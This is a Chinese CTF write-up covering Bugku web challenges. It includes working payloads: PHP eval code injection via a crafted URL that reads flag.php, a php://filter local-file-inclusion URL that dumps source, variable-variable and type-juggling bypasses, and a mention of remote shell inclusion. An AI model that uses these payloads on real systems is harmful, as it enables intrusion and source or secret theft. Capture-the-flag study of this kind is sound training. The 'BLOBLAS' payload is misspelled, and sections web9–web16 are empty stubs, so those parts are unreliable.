前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Bugku-web指南

Bugku-web指南

作者头像
XRSec
发布2022-02-13 16:58:49
2640
发布2022-02-13 16:58:49
举报
文章被收录于专栏:XRSec.BlogXRSec.Blog

web

web1

https://segmentfault.com/a/1190000016750234

知识基础

涉及到的几个函数:

1.$_REQUEST: 可以获取以POST方法和GET方法提交的数据,但是速度比较慢

2.eval: 把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。

代码语言:javascript
复制
<?php
eval("echo'hello';echo' world';");
?>
# output
hello world

3.var_dump: 函数用于输出变量的相关信息

代码语言:javascript
复制
# 数字
var_dump(1); > int(1)
# 字符串
var_dump("string"); >  string(6) "string"

解题思路

eval应该是此题的突破口,能够执行php代码。

hello是接受参数的变量,接下来就是构建hello变量,使其能够闭合var_dump,利用print_r输出

首先闭合var_dump: 1)";

第二步构建print_r:print_r(file("./flag.php"));

URL构建结束:

http://123.206.87.240:8003/index.php?hello=1);print_r(file("./flag.php")

构建的URL触发的 eval操作为

eval("var_dump(1);print_r(file("./flag.php")")

成功输出 flag.php 文件内容

web2

这题考爆破密码

web3

这题源码有问题

知识基础PHP自动化的全局变量:**$GLOBALS** — 引用全局作用域中可用的全部变量,一个包含了全部变量的全局组合数组。变量的名字就是数组的键解题思路

正则表达式”/^\w+$/“,匹配字符串,\w表示字符+数字+下划线{ a-z,A-Z,_,0-9 }。如果不匹配会输出 ‘’args error!‘’\

代码语言:javascript
复制
两个`/``/`表明正则表达式的开始与结束,`^`开始字符,`$`结束字符,`+`代表可以有一个或多个`\w`

PHP中变量可以当作另一个变量的变量名:$$args,结合第一句flag In the variable !

所以构造payload:URL?args=BLOBLAS

即可爆出所有args,其中包含flag

web4

知识基础

通过抓包修改file值的办法去运行一些本来不该运行的文件

也可以通过此方法直接输出一些敏感的配置文件和远程包含shell(需要目标主机开启allow_url_fopen)

解题思路

通过构造如下语句:

代码语言:javascript
复制
http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php

就能获得xxx.php的代码的base64加密结果,通过base64解密后便可获得xxx.php的代码

web5

知识基础这题不难,看php语言都会了解题思路

代码语言:javascript
复制
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
代码语言:javascript
复制
http://xxx.com/?what=flag

web6

知识基础

代码语言:javascript
复制
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

解题思路很明显这个是post请求

web7

知识基础> JavaScript是一种属于网络的脚本语言,已经被广泛用于Web应用开发,常用来为网页添加各式各样的动态功能,为用户提供更流畅美观的浏览效果。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的。 > jother是另类的javascript工具 > 一堆+!的东西就用jother解码 > 可以打开谷歌浏览器 按F12 > 然后console将那堆解码的东西复制过去 按回车即可解码 >解题思路多看源码,我也不知道这是什么鬼

copy到console

显示”ctf{whatfk}”

得到flag

web8

知识基础

代码语言:javascript
复制
php
$num=$_GET['num'];//GET方式获取参数
if(!is_numeric($num))//is_numeric()函数是判断是否为数字或者数字字符串
{
echo $num;
if($num==1)//矛盾既要是1又要不是数字
echo 'flag{**********}';
}

解题思路构造num=1X X还可以是任何字母或者字符串,构造url:http://xxx.com/get/index1.php?num=1xx

得到flag

web9

知识基础

1

解题思路

1

web10

知识基础

1

解题思路

1

web11

知识基础

1

解题思路

1

web12

知识基础

1

解题思路

1

web13

知识基础

1

解题思路

1

web14

知识基础

1

解题思路

1

web15

知识基础

1

解题思路

1

web16

知识基础

1

解题思路

1

本文参与?腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-02-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客?前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • web
    • web1
      • web2
        • web3
          • web4
            • web5
              • web6
                • web7
                  • web8
                    • web9
                      • web10
                        • web11
                          • web12
                            • web13
                              • web14
                                • web15
                                  • web16
                                  领券
                                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
                                  http://www.vxiaotou.com